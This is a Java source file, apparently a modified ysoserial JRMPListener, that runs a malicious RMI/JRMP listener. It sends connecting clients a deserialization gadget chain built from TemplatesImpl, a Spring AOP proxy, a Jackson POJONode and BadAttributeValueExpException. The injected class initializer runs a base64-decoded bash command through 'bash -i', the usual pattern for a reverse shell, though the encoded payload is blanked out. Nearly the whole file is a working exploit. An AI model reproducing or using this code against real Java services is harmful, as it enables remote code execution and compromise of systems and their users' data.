1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371
| package ysoserial.exploit;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.rmi.MarshalException; import java.rmi.server.ObjID; import java.rmi.server.UID; import java.util.Arrays;
import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; import javax.xml.transform.Templates;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport; import sun.rmi.transport.TransportConstants; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Reflections;
@SuppressWarnings ( { "restriction" } ) public class JRMPListener implements Runnable {
private int port; private Object payloadObject; private ServerSocket ss; private Object waitLock = new Object(); private boolean exit; private boolean hadConnection; private URL classpathUrl;
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { this.port = port; this.payloadObject = payloadObject; this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); }
public JRMPListener (int port, String className, URL classpathUrl) throws IOException { this.port = port; this.payloadObject = makeDummyObject(className); this.classpathUrl = classpathUrl; this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); }
public boolean waitFor ( int i ) { try { if ( this.hadConnection ) { return true; } System.err.println("Waiting for connection"); synchronized ( this.waitLock ) { this.waitLock.wait(i); } return this.hadConnection; } catch ( InterruptedException e ) { return false; } }
public void close () { this.exit = true; try { this.ss.close(); } catch ( IOException e ) {} synchronized ( this.waitLock ) { this.waitLock.notify(); } }
public static final void main ( final String[] args )throws Exception {
if ( args.length < 3 ) { System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>"); System.exit(-1); return; }
final Object payloadObject = getObject();
try { int port = Integer.parseInt(args[ 0 ]); System.err.println("* Opening JRMP listener on " + port); JRMPListener c = new JRMPListener(port, payloadObject); c.run(); } catch ( Exception e ) { System.err.println("Listener error"); e.printStackTrace(System.err); } Utils.releasePayload(args[1], payloadObject); }
public void run () { try { Socket s = null; try { while ( !this.exit && ( s = this.ss.accept() ) != null ) { try { s.setSoTimeout(5000); InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream(); InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
bufIn.mark(4); DataInputStream in = new DataInputStream(bufIn); int magic = in.readInt();
short version = in.readShort(); if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { s.close(); continue; }
OutputStream sockOut = s.getOutputStream(); BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte(); switch ( protocol ) { case TransportConstants.StreamProtocol: out.writeByte(TransportConstants.ProtocolAck); if ( remote.getHostName() != null ) { out.writeUTF(remote.getHostName()); } else { out.writeUTF(remote.getAddress().toString()); } out.writeInt(remote.getPort()); out.flush(); in.readUTF(); in.readInt(); case TransportConstants.SingleOpProtocol: doMessage(s, in, out, this.payloadObject); break; default: case TransportConstants.MultiplexProtocol: System.err.println("Unsupported protocol"); s.close(); continue; }
bufOut.flush(); out.flush(); } catch ( InterruptedException e ) { return; } catch ( Exception e ) { e.printStackTrace(System.err); } finally { System.err.println("Closing connection"); s.close(); }
}
} finally { if ( s != null ) { s.close(); } if ( this.ss != null ) { this.ss.close(); } }
} catch ( SocketException e ) { return; } catch ( Exception e ) { e.printStackTrace(System.err); } }
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { System.err.println("Reading message...");
int op = in.read();
switch ( op ) { case TransportConstants.Call: doCall(in, out, payload); break;
case TransportConstants.Ping: out.writeByte(TransportConstants.PingAck); break;
case TransportConstants.DGCAck: UID u = UID.read(in); break;
default: throw new IOException("unknown transport op " + op); }
s.close(); }
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { ObjectInputStream ois = new ObjectInputStream(in) {
@Override protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) { return ObjID[].class; } else if ("java.rmi.server.ObjID".equals(desc.getName())) { return ObjID.class; } else if ( "java.rmi.server.UID".equals(desc.getName())) { return UID.class; } throw new IOException("Not allowed to read object"); } };
ObjID read; try { read = ObjID.read(ois); } catch ( java.io.IOException e ) { throw new MarshalException("unable to read objID", e); }
if ( read.hashCode() == 2 ) { ois.readInt(); ois.readLong(); System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); }
System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return); ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn); new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null); Reflections.setFieldValue(ex, "val", payload); oos.writeObject(ex);
oos.flush(); out.flush();
this.hadConnection = true; synchronized ( this.waitLock ) { this.waitLock.notifyAll(); } }
@SuppressWarnings({"deprecation"}) protected static Object makeDummyObject (String className) { try { ClassLoader isolation = new ClassLoader() {}; ClassPool cp = new ClassPool(); cp.insertClassPath(new ClassClassPath(Dummy.class)); CtClass clazz = cp.get(Dummy.class.getName()); clazz.setName(className); return clazz.toClass(isolation).newInstance(); } catch ( Exception e ) { e.printStackTrace(); return new byte[0]; } }
public static class Dummy implements Serializable { private static final long serialVersionUID = 1L;
}
public static byte[][] generateEvilBytes() throws Exception{ ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = cp.makeClass("evil"); String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,xxxxxxxxxx}|{base64,-d}|{bash,-i}\");";
cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;
}
public static <T> void setValue(Object obj,String fname,T f) throws Exception{ Field filed = TemplatesImpl.class.getDeclaredField(fname); filed.setAccessible(true); filed.set(obj,f); } public static Object getObject() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod wt = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(wt); ctClass0.toClass();
TemplatesImpl tmp = new TemplatesImpl(); setValue(tmp,"_tfactory",new TransformerFactoryImpl()); setValue(tmp,"_name","123"); setValue(tmp,"_bytecodes",generateEvilBytes());
AdvisedSupport support = new AdvisedSupport(); support.setTarget(tmp); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(support); Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);
POJONode node = new POJONode(proxy);
BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); Field f = BadAttributeValueExpException.class.getDeclaredField("val"); f.setAccessible(true); f.set(ex,node);
return ex; } }
|